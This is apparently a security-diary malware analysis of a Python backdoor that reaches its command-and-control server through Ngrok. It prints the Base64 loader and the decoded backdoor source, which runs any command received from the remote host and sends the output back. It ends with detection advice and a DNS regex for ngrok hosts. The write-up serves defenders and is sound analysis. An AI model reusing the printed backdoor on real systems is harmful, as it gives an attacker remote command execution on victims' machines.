Python Backdoor Talking to a C2 Through Ngrok
Last Updated: 2020-12-10 07:41:32 UTC
by Xavier Mertens (Version: 1)
I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok, here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:
# ngrok tcp --region=us --remote-addr 1.tcp.ngrok.io:65080 80
This command will expose your local web server through hxxp://1.tcp.ngrok.io:65080/
The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59. The obfuscation is performed by Base64 encoding the malicious code:
import socket import os import base64 exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())
The backdoor is simple but effective:
import socket, subprocess, shutil, sys nameoffile = sys.argv a = socket.socket() while True: try: a.connect(("<redacted>.tcp.ngrok.io", <redacted>)) break except: pass while True: try: recvd = a.recv(1024) if recvd.decode() == "m:os": a.send(str(sys.platform).encode()) if recvd.decode() == "m:hide": ree = shutil.move(nameoffile,'C:\\') a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8')) else: output = os.popen(recvd.decode()).read() a.send(output.encode()) except: pass
It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.
What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to ".tcp.ngrok.io". Here are the results:
Job ID: <redacted> Start time: 2020-12-09 13:24:35.476494 UTC Finish time: 2020-12-09 19:22:41.084292 UTC Scanned data size: 730.5 TB Matches: 1535
I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to ngrok.io. To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant